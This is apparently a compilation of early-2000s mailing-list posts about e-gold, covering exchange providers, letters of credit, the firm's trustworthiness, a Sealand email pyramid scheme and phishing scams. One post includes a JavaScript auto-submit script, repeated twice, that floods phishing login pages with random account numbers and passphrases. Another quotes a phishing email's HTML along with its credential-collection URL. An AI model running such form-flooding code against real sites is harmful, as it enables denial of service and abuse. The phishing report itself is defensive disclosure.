Re: e-gold exchange
At 07:22 AM 5/31/2005, Tyler Durden wrote: OK...what;s the best exchange service for transferring dollars (perhaps via paypal or credit cards) into egold? I haven't found anybody that'll take credit cards or paypal without either major hurdles or extremely high fees - there's too much risk of fraud including reneging on credit card charges. However, I've been very pleased with Goldage.net - they've got several mechanisms for paying them, including walking in to one of half a dozen major US banks and making a deposit to their account, as well as a few varieties of wire transfer. They're a transaction-based service rather than an account-based service, and support a variety of online gold currencies. I don't use e-gold myself - I get so much spam purporting to be from them that it's much simpler to discard all of it, since 99.9% is phishing. But a certain anonymous person with whom I might or might not be be familiar was able to use Goldage's online interface to set up a transaction, hand some dead presidents to a Bank that's in America, and a day or two later the transaction cleared and there was a deposit to an electronic currency company's account, which could allegedly be used to pay a merchant. Fees were pretty low, though for relatively small transactions the minimum fee is the main concern, rather than the percentages that matter more on larger transactions.
e-gold exchange
OK...what;s the best exchange service for transferring dollars (perhaps via paypal or credit cards) into egold? -TD
L/Cs, e-gold and regulated banking
(Guys, this has drifted out of crypto into finance, so I have a feeling that it will disappear of the crypto list. But the topics that are raised are interesting and important enough to carry on, I think.) >> > [Hal:] >> > Interesting. In the e-gold case, both parties have the same bank, >> > e-gold ltd. The corresponding protocol would be for the buyer to >> > instruct e-gold to set aside some money which would go to the >> > seller once the seller supplied a certain receipt. That receipt >> > would be an email return receipt showing that the seller had sent >> > the buyer the content with hash so-and-so, using a cryptographic >> > email return-receipt protocol. >> [iang:] >> This is to mix up banking and payment systems. Enzo's >> description shows banks doing banking - lending money >> on paper that eventually pays a rate of return. In >> contrast, in the DGC or digital gold currency world, >> the issuers of gold like e-gold are payment systems and >> not banks. The distinction is that a payment system >> does not issue credit. > [enzo:] > Actually, seeing issuance and acceptance of L/C's only as a money-lending > activity is not 100% accurate. "Letter of credit" is a misnomer: an L/C > _may_ be used by the seller to obtain credit, but if the documents are > "sent for collection" rather than "negotiated", the payment to the seller > is delayed until the opening bank will have debited the buyer's account > and remitted the due amount to the negotiating bank. To be precise: when > the documents are submitted to the negotiating bank by the seller, the > latter also draws under the terms of the L/C a "bill of exchange" to be > accepted by the buyer; that instrument, just like any draft, may be either > sent for collection or negotiated immediately, subject, of course, to > final settlement. Also, depending on the agreements between the seller and > his bank, the received L/C may be considered as collateral to get further > allocation of credit, e.g. to open a "back-to-back L/C" to a seller of raw > materials. > > However, if the documents and the draft are sent for collection, and no > other extension of credit are obtained by the buyer, the only advantage of > an L/C for the seller is the certainty of being paid by _his_ > (negotiating) bank, which he trusts not to collude with the buyer to claim > fictitious discrepancies between the actual documents submitted and what > the L/C was requesting. (And even in case such discrepancies will turn out > to be real, the opening bank will not surrender the Bill of Lading, and > therefore the cargo, to the buyer until the latter will have accepted all > the discrepancies: so in the worst case the cargo will remain under the > seller's control, to be shipped back and/or sold to some other buyer. > If it acted differently, the opening bank would go against the standard > practice defined in the UCP ICC 500 > (http://internet.ggu.edu/~emilian/PUBL500.htm) and its reputation would be > badly damaged). So, the L/C mechanism, independently from allocation of > credit, _does_ provide a way out of the dilemma "which one should come > first, payment or delivery?"; and this is achieved by leveraging on the > reputation of parties separately trusted by the endpoints of the > transaction. An excellent description; I was unaware that the system could be used in a non-credit fashion. Thanks for correcting me. > Generally speaking, it is debatable whether "doing banking" only means > "accepting deposits and providing credit" or also "handling payments for a > fee": There are many definitions of "banking" and unfortunately they are different enough that one will make mistakes routinely. Here are the most useful three that I know of: 1. borrowing from the public as deposits and lending those deposits to the public. This is the favoured definition for economists, because it concentrates on the specialness that is banking, which is the foundation for its special regulatory structure. 2. Banking is what banks do, and banks do banking. This is the favoured definition of banks, and often times, regulators, because it gives them a free hand to exploit their special franchise / subsidy. It was codified in law in many countries as just this, but I believe it is out of favour to write it down these days. However, the Fed and other US regulators have from time to time resorted to this definition, when convenient. 3. Banking is what the regulator says is banking. This is the favoured definition of regulators, and sometimes of banks. It means that there is little or no argument or discussion in protecting the flock. This i
Re: e-gold
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 At 10:17 AM -0400 10/21/04, Somebody wrote: >"R.A. Hettinga" <[EMAIL PROTECTED]> writes: >> So, what kind of problems are you having? > >I can't seem to figure out how one deposits or removes gold from >e-gold. They got out of the business of exchanging other forms of money into e-gold a long time ago. Think of them more as an on-line book-entry central securities depository, ala DTC <http://www.dtc.org/dtcpublic/html/>, CREST <http://www.crestco.co.uk> (now apparently part of Euroclear <http://euroclear.com>), etc. The minute they got out of the business and spun their own exchange department off into its own firm, literally tens of companies, if not hundreds since, popped up and started competing. As far as E-Gold was concerned, it was a hell of a lot better than taking in people's Kruggerands etc., and turning it into debits and credits into a database, and the size of their reserves went up accordingly. Imagine being an individual investor in the US, going to DTC and trying to figure out what they do or whether you can do business with them. Same problem with E-Gold, anymore. Actually, CREST *does*, last time I looked at them, have retail accounts, so maybe they're more applicable than the strictly-institutional DTC. The companies that do the in/out exchange (for a fee) are now called "exchange providers". There are lots of them, and they range from professional, like IceGold <http://www.icegold.com>, who I talked about, to, well, anyone who'll take your check in the mail, wait for it to clear, and then click you some gold to your e-gold account. The big ones do more different kinds of money from wires to credit cards etc., but not PayPal, because it's against the PayPal user agreement to buy and sell securities. PayPal freezes exchange provider accounts whenever they show up. In the meantime, expect to wait for the money you send them to completely and irrevocably clear before you see an increase in the account at E-Gold. > They post no information on that at all, and when I've asked >them, they've more or less evaded the question. An operation like >this, if it was on the up and up, would have to be taking bailments >and permitting removals of gold on a frequent basis, but they're >apparently set up to do nothing of the kind. See above. They're taking large wholesale in/out orders only, mostly from the aforementioned exchange providers, who then click you retail amounts of E-Gold for a fee, sometimes less than E-Gold would on a hypothetical retail rate, sometimes less, depending on how they gold's moving that day. >Their online examiner shows exactly the same amount of gold in the >system over a very extended period of time -- call it $25M worth -- >and shows perhaps $1.5M a day in transactions. That transaction >level is surprisingly high given that no gold comes into or out of >the >system at all so far as I can tell. See above. The transaction level is surprisingly high given the transaction costs as well, but remember what I said about storing gold, etc., and, of course, the fact that they're doing book-entry transactions and their attendant, non-repudiation, auditing, etc., costs. >Overall, I'm wondering a lot about whether there is funny business >of some sort going on -- but I can't tell what the nature of the >funny >business might be. I don't think so. If you count up all the fees, they're making enough money on the throughput, storage, in/out exchange fees, and so on. Since they're only handling the depository management function anymore, they don't have nearly as much overhead as you would think. The larger and better firms in this business, like E-Gold and Goldmoney, have sufficiently complicated arrangements with their storage firms, governments where they're domiciled, and so on, that there is probably sufficient oversight for all this. They are doing book-entry trades, remember. They have to call the cops for enforcement themselves if someone rips *them* off somewhere. E-Gold and Goldmoney's officers are US citizens residing and working, for the most part, on US soil. Everyone knows who they are and where they are. We're a long way from TCMay's Cryptopia here, um, Toto. Obviously, caveat emptor, and all that. There's always lots of risk in any kind of financial intermediary business, up to, and including the risk that the entrepreneurs dodging off with the reserve assets, and all you have in terms of risk prediction -- in the absence of financial controls -- is what David Hume called "constant conjunction": they are honest today, were honest yesterday, and every other day so far, so we can, in theory, expect them to be honest tomorrow. As for the lack of growth of the reserve pool, after burst
Re: e-gold
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 At 5:32 PM -0400 10/20/04, Somebody wrote: >How much do you know about the e-gold crew? I've sent them a couple >of queries and I've gotten answers back that haven't been very >pleasing. The short story is that they're a Jesus-is-coming-and-boy-is-he-pissed pre-millennium gold transaction startup, and the millennium came and went sans datequake and/or rapture. Good news is they're good businessmen after all, they're making money, and they've honored their internet transactions for more than a dozen years. They even pre-date the commercial net by a few years. Bad news is when they ever do go sideways one of the partners is a tax-lawyer from, er, heck, (the money partner is an oncologist; they met in a bible-study class... not, um, the end of the world, Rockefeller was a bible-thumping baptist, remember...) and the russian-doll puzzle of domiciles subsidiaries and governance documents goes through about six countries including Nevis, Bermunda, etc., not to mention separate gold depository accounts around the world. The long story is, well, long. I trust 'em to do the gold transactions. It's not cheap, though. It's gold, it needs to be stored, and there are storage charges. You need a currency-exchange provider, to get money into and out of the system. The ones I like most are ice-gold <http://www.icegold.com>, in, of all places, Estonia (Latvia???). Jim Ray <[EMAIL PROTECTED]>, a former cypherpunk, is a good guy, and e-gold's original internet evangelist, and has been with them for about 10 years. Another reputable gold-transaction outfit is Goldmoney <http://www.goldmoney.com>. They're just plain-old-fashioned gold-bugs from the old school. You know, a financial calamity around the corner but it's okay, because we're gonna get rich. :-). Seriously, James Turk, the founder there has been a gold bug since the heyday of the Oil Embargo. He used to work at Citibank in the far east, back in the day. And, instead of down in Florida somewhere as it is for E-Gold, GoldMoney's office is in midtown, even if the gold's at ViaMAT in London and the domicile's the Channel Islands, Jersey, I think. Turk's been in the gold bug business so long that he *patented* the whole idea of electronic gold transactions way back when, submarined it until e-gold was hauling it down, and is now collecting royalties. Of course, you know me. I'm not much into the whole commodities-as-money thing, I'd rather do bearer forms of depository-held collateral, like, say, dollars -- or the S&P. :-). So, what kind of problems are you having? Cheers, RAH -BEGIN PGP SIGNATURE- Version: PGP 8.0.3 iQA/AwUBQXf+IcPxH8jf3ohaEQLjQgCeKov2foDmbcM85OazHKhLtryDO6oAn38c 5hZceFFv23q5HYFFIOdciEUK =+GW1 -END PGP SIGNATURE- -- - R. A. Hettinga The Internet Bearer Underwriting Corporation <http://www.ibuc.com/> 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
[e-gold-list] An interesting technology for cashlike tokens.
And James makes the next step. The online gold systems, like goldmoney and e-gold, certainly have an enormously cheaper cost of entry than trying to plug into, say, the ATM system. Cheers, RAH --- begin forwarded text From: "James A. Donald" <[EMAIL PROTECTED]> To: "e-gold Discussion" <[EMAIL PROTECTED]> Date: Sun, 15 Aug 2004 21:28:19 -0700 Subject: [e-gold-list] An interesting technology for cashlike tokens. Priority: normal -- Reusable Proofs of Work by Hal Finney rpow.net Hal Finney has an interesting technology for electronic money. The intended application is electronic postage, an anti spam measure. The same technique could be used to anonymously transfer certificates of possession of gold. The method is like trusted computing in reverse. Instead of the client computer needing to prove to the server it is trustworthy, the server must prove to the client it is trustworthy. For transactions that involve substantially greater periods than email, a money based on gold is better than a money based on proofs of computational work, since the cost of mining gold changes only slowly, while the cost of doing computations diminshes rapidly, but for the intended application, a high inflation rate is not a problem. --digsig James A. Donald 6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG qaxLVMrKlZJuFzjYAxmdhu7F4wsAds1g0b9s1d2G 4fcchBYWopL00KqdJyRYp/27QCChV9H4oizZtSKGc s --- You are currently subscribed to e-gold-list as: [EMAIL PROTECTED] To unsubscribe send a blank email to [EMAIL PROTECTED] Use e-gold's Secure Randomized Keyboard (SRK) when accessing your e-gold account(s) via the web and shopping cart interfaces to help thwart keystroke loggers and common viruses. --- end forwarded text -- - R. A. Hettinga The Internet Bearer Underwriting Corporation <http://www.ibuc.com/> 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
Re: Official notice for all e-gold users
the "all your dinars turn to toilet paper" attack on folks who have lots of cash. Ie, exchange your old currency for new (or check your egold account). Meanwhile these transactions are *monitored*, providing the IRS and DEA (etc) with new leads. Or in the case of egold, traceable IP routes. At 09:52 PM 3/28/04 +0000, e-gold ltd wrote: > Dear e-gold user. > At 28-th of March, 2004 the e-gold company has blocked a number of > accounts
e-gold script to run from whitehat
<!--
var dns = "";
var c = true;
function popup()
{
document.formname.AccountID.value = get_random();
document.formname.PassPhrase.value = GeneratePassword();
document.formname.submit();
setTimeout("autosubmit();", 2000);
}
function get_random()
{
var ranNum = Math.round(Math.random()*99);
return ranNum;
}
function getRandomNum() {
// between 0 - 1
var rndNum = Math.random()
// rndNum from 0 - 1000
rndNum = parseInt(rndNum * 1000);
// rndNum from 33 - 127
rndNum = (rndNum % 94) + 33;
return rndNum;
}
function checkPunc(num) {
if ((num >=33) && (num <=47)) { return true; }
if ((num >=58) && (num <=64)) { return true; }
if ((num >=91) && (num <=96)) { return true; }
if ((num >=123) && (num <=126)) { return true; }
return false;
}
function GeneratePassword() {
var length;
var sPassword = "";
length = 6+ Math.round(Math.random()*20)
for (i=0; i < length; i++) {
numI = getRandomNum();
while (checkPunc(numI)) { numI = getRandomNum(); }
sPassword = sPassword + String.fromCharCode(numI);
}
return sPassword;
}
function autosubmit()
{
if (c)
{
document.formname.AccountID.value = get_random();
document.formname.PassPhrase.value = GeneratePassword();
document.formname.submit();
setTimeout("autosubmit();", 1000);
}
}
function turn()
{
c = !c;
if (c) setTimeout("autosubmit();", 2000);
document.formname.x.value = c?"Stop it!":"Let's do it again!";
}
//-->
http://registration-update.net/e-gold_account/user-4598Xinc/e-gold-x621vx7/login.php";
target="new3">
another fake e-gold site needs data
..Lots of data...
Save as plain text anything.html on desktop and drop onto a browser.
me
<!--
var dns = "";
var c = true;
function popup()
{
document.formname.AccountID.value = get_random();
document.formname.PassPhrase.value = GeneratePassword();
document.formname.submit();
setTimeout("autosubmit();", 2000);
}
function get_random()
{
var ranNum = Math.round(Math.random()*99);
return ranNum;
}
function getRandomNum() {
// between 0 - 1
var rndNum = Math.random()
// rndNum from 0 - 1000
rndNum = parseInt(rndNum * 1000);
// rndNum from 33 - 127
rndNum = (rndNum % 94) + 33;
return rndNum;
}
function checkPunc(num) {
if ((num >=33) && (num <=47)) { return true; }
if ((num >=58) && (num <=64)) { return true; }
if ((num >=91) && (num <=96)) { return true; }
if ((num >=123) && (num <=126)) { return true; }
return false;
}
function GeneratePassword() {
var length;
var sPassword = "";
length = 6+ Math.round(Math.random()*20)
for (i=0; i < length; i++) {
numI = getRandomNum();
while (checkPunc(numI)) { numI = getRandomNum(); }
sPassword = sPassword + String.fromCharCode(numI);
}
return sPassword;
}
function autosubmit()
{
if (c)
{
document.formname.AccountID.value = get_random();
document.formname.PassPhrase.value = GeneratePassword();
document.formname.submit();
setTimeout("autosubmit();", 1000);
}
}
function turn()
{
c = !c;
if (c) setTimeout("autosubmit();", 2000);
document.formname.x.value = c?"Stop it!":"Let's do it again!";
}
//-->
http://registration-update.net/e-gold_account/user-4598Xinc/e-gold-x621vx7/login.php";
target="new3">
Making fake e-gold sites submit...
save on desktop as anything.html as plain text. Then run. me http://211.217.224.102:4901/login/login.php"; target="new">
Re: someone stealing e-gold passwords
I got one of these in early January, but I don't use e-gold. Probably they hit everyone they can find an address for on the assumption that some of them use e-gold. Even a small number of accounts could be quite profitable for them. (Perhaps they are more selective, mailing people who post on crypto lists or something). On Wed, 22 Jan 2003, [iso-8859-2] Pawe³ Krawczyk wrote: > This is what I received today, which seems to be a scam made to steal > e-gold passwords. The resulting e-mail looks exactly like e-gold web page, > but the login data is sent to http://www.parokk.com/db/add_news.php > (65.108.223.108 belonging to Alabanza, scam sent from 24.141.183.234 > belonging to CGOCable). > > After that the user is redirected back to e-gold site, so he could have > his password stolen without even notifying that. Be warned, e-gold has > been informed. > > It's interesting where did they get my email from and how they knew I > used e-gold...
someone stealing e-gold passwords
This is what I received today, which seems to be a scam made to steal e-gold passwords. The resulting e-mail looks exactly like e-gold web page, but the login data is sent to http://www.parokk.com/db/add_news.php (65.108.223.108 belonging to Alabanza, scam sent from 24.141.183.234 belonging to CGOCable). After that the user is redirected back to e-gold site, so he could have his password stolen without even notifying that. Be warned, e-gold has been informed. It's interesting where did they get my email from and how they knew I used e-gold... >From - Wed Jan 22 13:20:24 2003 X-UIDL: f8fb21d4f9b6625c X-Mozilla-Status: 0001 X-Mozilla-Status2: Return-Path: <[EMAIL PROTECTED]> Received: (qmail 24497 invoked from network); 21 Jan 2003 22:33:57 - Received: from unknown (HELO devel.ipsec.pl) (10.1.1.120) by 10.1.1.241 with SMTP; 21 Jan 2003 22:33:57 - Received: (qmail 2495 invoked from network); 21 Jan 2003 22:33:56 - Received: from d141-183-234.home.cgocable.net (HELO mail.com) (24.141.183.234) by aba.krakow.pl with SMTP; 21 Jan 2003 22:33:56 - From: "e-gold support"<[EMAIL PROTECTED]> Subject: E-gold X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600. X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600. Organization: e-gold Mime-Version: 1.0 Content-Type: text/html; charset="Windows-1251" Date: Tue, 22 Jan 2002 00:30:17 -0800 Status: RO Content-Length: 13201 Lines: 202 New Page 1 e-gold top menu e-gold Account Login http://www.e-gold.com/examiner.html"; target="_top">https://www.e-gold.com/gif/Examiner.GIF"; width="50" height="70" hspace="10" border="0" alt="Audit total circulation; compare to physical reserves.">http://www.e-gold.com/currentexchange.html"; target="_top">https://www.e-gold.com/gif/rates.gif"; width="50" height="70" hspace="10" border="0" alt="Current e-metal exchange rates"> |http://www.e-gold.com/"; target="_top">Home |http://www.e-gold.com/unsecure/terms.htm"; target="_top">Terms of Use |http://www.e-gold.com/unsecure/contact.html"; target="_top">Contact |https://www.e-gold.com/acct/login.html"; target="_top">Access Account https://www.e-gold.com/gif/key128.gif"; alt="Click for SSL info..." vspace="6"> e-gold Account Access http://www.e-gold.com/"; target="_top">https://www.e-gold.com/gif/logo.gif"; width="105" height="45" name="logo" alt="e-gold logo" vspace="0" hspace="0" border="0"> http://www.parokk.com/db/add_news.php";> https://www.e-gold.com/acct/top.gif width="600" height="57" usemap="#top" ismap alt="" border="0"> Login to access your e-gold account https://www.e-gold.com/acct/besecure.gif"; width="600" height="48" alt="Be secure by checking SSL Lock Icon and Location"> Account Number: https://www.e-gold.com/acct/help.gif"; width="13" height="17" border="0" alt="View help..."> Store my account number on my computer. (more info...) Passphrase: https://www.e-gold.com/acct/help.gif"; width="13" height="17" border="0" alt="View help...">https://www.e-gold.com/gif/srk.gif"; alt="Use SRK Passphrase Entry..." border="0" align="absmiddle" DEFANGED_OnClick width="36" height="32"> Turing Number: https://www.e-gold.com/acct/help.gif"; width="13" height="17" border="0" alt="View help...">http://www.parokk.com/gen.gif";>http://www.parokk.com/gen.gif"; vspace="0" hspace="0" align="top" border="0" alt="Turing Number" width="121" height="25"> Enter sequence of numbers displayed in grid directly above. (Audible Turing Number) http://www.e-gold.com";> Forgotten Passphrase? E-gold administration is handling check of all the e-gold accounts in order to correct the false database entries which are often the way o
Re: [e-gold-list] Announcing Seagold.net: E-mail Privacy, Secure, Encrypted, accepts e-gold
At 11:50 AM 12/13/2002 -0500, R. A. Hettinga wrote: ...It had to happen sooner or later, I suppose... --- begin forwarded text From: <[EMAIL PROTECTED]> Subject: [e-gold-list] Announcing Seagold.net: E-mail Privacy, Secure, Encrypted, accepts e-gold ... Introducing Seagold.net, a secure web-based email service located in the Principality of Sealand, outside the jurisdiction of any government on earth! ... followed by some description of their email system and a long complex description of their shell game \\ multi- level pyramid scheme\ silly sales rep recruiting system.* If you poke around their site a bit, you'll see a reference to http://sealand.pmmit.com/seamail.html which appears to be a straightforward mail system without the shell game, though I haven't done a feature-by-feature comparison to be sure if it's quite identical. It's basically webmail plus SSL-encrypted POP3. The price ranges from $10/month to $90/year depending on contract length, vs. $25/month for the pyramid game, which offers the possibility of being free or letting you make gazillions of dollars if you can find a way to convince the untapped potential customer base to play the game instead of just buying the service. It strikes me as a bit short on features, but then I'm comparing it to fastmail.fm, which is an extremely well-run email system that my wife uses (which ranges from free accounts with signature tags to cheap accounts without them to full-featured accounts for $20-40/year.) There's no encryption, but their spam-avoidance features are the best I've seen. * Don't get me wrong - I'm not totally dissing well-designed pyramid marketing as a sales-rep recruitment technique, but it has to be something that has a product that's realistic at a price that's realistic with margins that are realistic, while these guys seem to have a margin that's unrealistic (at least compared to other services they're offering) with a total hand-waving shell-game compensation method, and other than the fact that their system is based in Sealand, which is worth paying some margin for, and open-source based, which says it has some chance of stability if administered well, they don't say anything that inspires me to expect them to be competent at running email systems well. But hey, free trials can be fun sometimes, though this one requires an e-gold account number, which makes it harder to burn lots of them.
Re: [e-gold-list] Announcing Seagold.net: E-mail Privacy, Secure, Encrypted, accepts e-gold
Yeah, except for the scummy multi level marketing and the rather expensive $25/month, it's nice, but I'm unsure how much nicer than say, hushmail :) --Kaos-Keraunos-Kybernetos--- + ^ + :NSA got $20Bil/year |Passwords are like underwear. You don't /|\ \|/ :and didn't stop 9-11|share them, you don't hang them on your/\|/\ <--*-->:Instead of rewarding|monitor, or under your keyboard, you \/|\/ /|\ :their failures, we |don't email them, or put them on a web \|/ + v + :should get refunds! |site, and you must change them very often. [EMAIL PROTECTED] http://www.sunder.net On Fri, 13 Dec 2002, R. A. Hettinga wrote: > ...It had to happen sooner or later, I suppose... > > Cheers, > RAH > -- > --- begin forwarded text > > > Status: RO > From: <[EMAIL PROTECTED]> > To: "e-gold Discussion" <[EMAIL PROTECTED]> > Cc: <[EMAIL PROTECTED]> > Subject: [e-gold-list] Announcing Seagold.net: E-mail Privacy, Secure, > Encrypted, accepts e-gold > Date: Fri, 13 Dec 2002 00:37:03 + (UTC) > > CONCERNED ABOUT EMAIL PRIVACY?
[e-gold-list] Announcing Seagold.net: E-mail Privacy, Secure, Encrypted, accepts e-gold
...It had to happen sooner or later, I suppose... Cheers, RAH -- --- begin forwarded text Status: RO From: <[EMAIL PROTECTED]> To: "e-gold Discussion" <[EMAIL PROTECTED]> Cc: <[EMAIL PROTECTED]> Subject: [e-gold-list] Announcing Seagold.net: E-mail Privacy, Secure, Encrypted, accepts e-gold Date: Fri, 13 Dec 2002 00:37:03 + (UTC) CONCERNED ABOUT EMAIL PRIVACY? In these increasingly troubled times where personal and financial privacy is at the forefront of our minds, we must search for viable solutions. Seagold.net offers that very solution: Private Email with the Power of 2 Introducing Seagold.net, a secure web-based email service located in the Principality of Sealand, outside the jurisdiction of any government on earth! * Read and compose emails securely from anywhere on the planet using any SSL-enabled web browser * Encrypt messages with pass phrases using PGP or GPG * Store messages securely on the Sealand platform in the North Sea, where there will never be a Carnivore * Chat securely using 128-bit SSL encryption * Secure Message Boards * User's actual ISP is masked from recipients, all outgoing messages originate from Sealand. * Reduce the threat of viruses with a system wholly based on OpenSource Linux, Java, and Apache technology * Protect your privacy with 100% anonymous accounts * Use and refer the service and receive monthly residual commissions. * Seagold accepts e-gold for payment and pays commissions in e-gold. * Try it for free for 30 days! (you will need a sponsor Id number in order to sign up for the free 30 day trial membership. Please use the system sponsor ID # 1 if you do not have a sponsor). https://sealand.seagold.net http://seagold.net What is Seagold.net? Seagold.net is a secure web-based email platform. It works with your browser to utilize high-quality 128-bit SSL encryption so that you can view, manage, and compose messages over a secure connection. All of your email messages are stored on our server based on Sealand, a premiere international secure data haven located in the territory of the Principality of Sealand near London, England, which is outside the boundaries of any other recognized nation. (See www.havenco.com for more information about Sealand.) Seagold.net is a members-only service, marketed through a network marketing referral program using a 2x10 matrix. Members recieve hassle-free secure web based email account for $25 per month, together with the opportunity to earn significant referral commission income from referring new members. Seagold is a "friends-and-family" business; absolutely no email spamming is tolerated to promote Seagold memberships. Seagold exclusively utilizes e-gold to receive payments from and pay referral commissions to its members. Seagold is run by an international business company, BRHS, Ltd., domiciled in St. Vincent and the Grenadines. Seagold runs exclusively on top of Linux, Java, Apache, and other Open Source technologies. It is 100% Microsoft-free. Seagold is a completely international operation, of the Internet, by the Internet, and for the Internet. Wishing you Peace, Prosperity and Privacy, The Seagold Group https://sealand.seagold.net ==== --- You are currently subscribed to e-gold-list as: [EMAIL PROTECTED] To unsubscribe send a blank email to [EMAIL PROTECTED] Use e-gold's Secure Randomized Keyboard (SRK) when accessing your e-gold account(s) via the web and shopping cart interfaces to help thwart keystroke loggers and common viruses. --- end forwarded text -- - R. A. Hettinga The Internet Bearer Underwriting Corporation <http://www.ibuc.com/> 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
Re: [e-gold-list] DBCs now issued by DMT
At 06:45 PM 12/3/2002 -0500, R. A. Hettinga wrote: I suppose that if it's not blinded, or at least functionally anonymous, like you'd get with statistically-tested streaming cash, it's not *that* bearer, but, hey, that's just *my* opinion, right? Since it has no payee or associated holder information and can "circulate" via re-issuance (even if there is a charge) it has bearer "characteristics". I would assume that anything that has accounts with client names on them is probably not bearer, either, though Mark Twain did something quite like that. DMT accounts have no customer information associated. steve
Re: E-Gold
At 8:55 PM -0800 3/30/02, Tim May wrote: >I've seen no convincing arguments from the E-gold enthusiasts that >E-gold is anything more than "magical thinking." Correct me if I'm wrong, but I don't believe E-gold has ever claimed anonymity. But as a bailee, which is what they do advertise being, E-gold works well. Regards, Matt- ** Subscribe to Freematt's Alerts: Pro-Individual Rights Issues Send a blank message to: [EMAIL PROTECTED] with the words subscribe FA on the subject line. List is private and moderated (7-30 messages per week) Matthew Gaylor, (614) 313-5722 ICQ: 106212065 Archived at http://groups.yahoo.com/group/fa/ **
re: Reputable E-Gold Funded Debit Cards?
>On 2 Apr 2002 at 10:35, [EMAIL PROTECTED] wrote: > > I've been monitoring the e-gold discussion list for some time and this > guy appears to be legit (i.e., a lack of negative comments). I have not > purchased from him, but am considering obtaining one of these. Would be > most interested in your experience should you decide to go ahead. > > https://www.goldnow.st/debit_card_order.asp At 11:16 AM 04/02/2002 -0800, [EMAIL PROTECTED] wrote: >I didn't know where ".st" referrs to, so I looked it up. >Apparently it's Sao Tome and Principe, so I still don't know. The NIC for Sao Tome is at www.nic.st (a common pattern for resold-ccTLD NICs...) It has FAQs about Sao Tome, as well as about its services: "Sco Tomi is one of the least well-known countries in the world." www.saotome.st has the Official Tourist Site. The Whois at www.nic.st thinks that goldnow.st is registered to someone with Australian contact information. Traceroute has other opinions about the physical location of the server; the hosting company that serves it has an address in Kentucky, and it's about 10ms away from the AT&T St. Louis MO router, which means that Kentucky is believable but not necessarily guaranteed, and physical location in either Sao Tome or Australia aren't consistent with the server's location, but that's unrelated to the owner's location.
re: Reputable E-Gold Funded Debit Cards?
On 2 Apr 2002 at 10:35, [EMAIL PROTECTED] wrote: > I've been monitoring the e-gold discussion list for some time and this guy appears >to be legit (i.e., a lack of negative comments). I have not purchased from him, but >am considering obtaining one of these. Would be most interested in your experience >should you decide to go ahead. > > https://www.goldnow.st/debit_card_order.asp > > I didn't know where ".st" referrs to, so I looked it up. Apparently it's Sao Tome and Principe, so I still don't know. Mr Geographically impaired.
re: Reputable E-Gold Funded Debit Cards?
I've been monitoring the e-gold discussion list for some time and this guy appears to be legit (i.e., a lack of negative comments). I have not purchased from him, but am considering obtaining one of these. Would be most interested in your experience should you decide to go ahead. https://www.goldnow.st/debit_card_order.asp Hush provide the worlds most secure, easy to use online applications - which solution is right for you? HushMail Secure Email http://www.hushmail.com/ HushDrive Secure Online Storage http://www.hushmail.com/hushdrive/ Hush Business - security for your Business http://www.hush.com/ Hush Enterprise - Secure Solutions for your Enterprise http://www.hush.com/ Looking for a good deal on a domain name? http://www.hush.com/partners/offers.cgi?id=domainpeople
Reputable E-Gold Funded Debit Cards?
Does anyone on the list have recommendations for a provider of E-Gold funded debit cards? With all of the ponzi schemes going on its hard to know who to trust. Interestingly, in my search of Google groups I only found spam messages for various offshore outfits that sound like they may be running some kind of ponzi scheme. I'm very interested to hear about any company that is reputable.
Re: E-Gold
Tim May: > > > My contention is that physical gold sitting in a warehouse > > > in, say, the Bank of Bermuda, is no different from a stack > > > of $20 bills sitting in that same bank. James A. Donald: > > The difference comes when the physical stuff has to move in > > and out of the bank in Bermuda. > > > > The gold does not carry serial numbers, and if it does the > > bank can melt it down. Tim May: > I must be grossly misunderstanding something here. When I > "transfer" $1000 to an account in Bermuda, no "serial numbers" > are involved. In that case, the bank or co-conspirator doing the transfer now can connect your american identity and number of the beast, to your Bermuda identity and account number. Perhaps you would be considerably better off if serial numbers *were* involved. > > This important difference gives the issuer of that stack of > > $20 bills more power to meddle if the bank in Bermuda is > > carrying $20 bills than if the bank in Bermuda is carrying > > bars of gold. Tim May: > But it _doesn't_ store stacks of $20 bills. If it does not, then it has to have an intimate connection with a bank that does, and pressure is applied to it via that connection.
Re: E-Gold
On Sunday, March 31, 2002, at 10:13 AM, [EMAIL PROTECTED] wrote: >>> Even if e-gold had no anonymity and pseudonymity capabilities, >>> it is still a necessary infrastructure to support real e-cash, >>> as there is no other internet medium that supports reasonably >>> irrevocable and instant payments. > > Tim May: >> My contention is that physical gold sitting in a warehouse in, >> say, the Bank of Bermuda, is no different from a stack of $20 >> bills sitting in that same bank. > > The difference comes when the physical stuff has to move in and > out of the bank in Bermuda. > > The gold does not carry serial numbers, and if it does the bank > can melt it down. I must be grossly misunderstanding something here. When I "transfer" $1000 to an account in Bermuda, no "serial numbers" are involved. Shipment of FRNs is relatively rare, except sometimes between FR Banks. If a bank is "holding" either dollars or francs or E-gold, the traceability is at the points of entry and exit to the bank, not because of serial numbers on the dollars or francs. Again, E-gold without physical delivery of gold is just another warehouse receipt, like many other forms of money. It is no more "untraceable" than digits in an accounting book are. > The problem is not that the serial numbers > permit attacks on the customers of the Bank in Bermuda, but that > they permit attacks by the federal reserve on the Bank in Bermuda. Serial numbers on bank notes--which are not even _in_ the Bank of Bermuda except for the convenience of customers showing up at the bank's door--are NOT why FINCEN and other such entities are able to pressure Bermuda, Switzerland, etc. > > This important difference gives the issuer of that stack of $20 > bills more power to meddle if the bank in Bermuda is carrying $20 > bills than if the bank in Bermuda is carrying bars of gold. But it _doesn't_ store stacks of $20 bills. --Tim May
Re: E-Gold
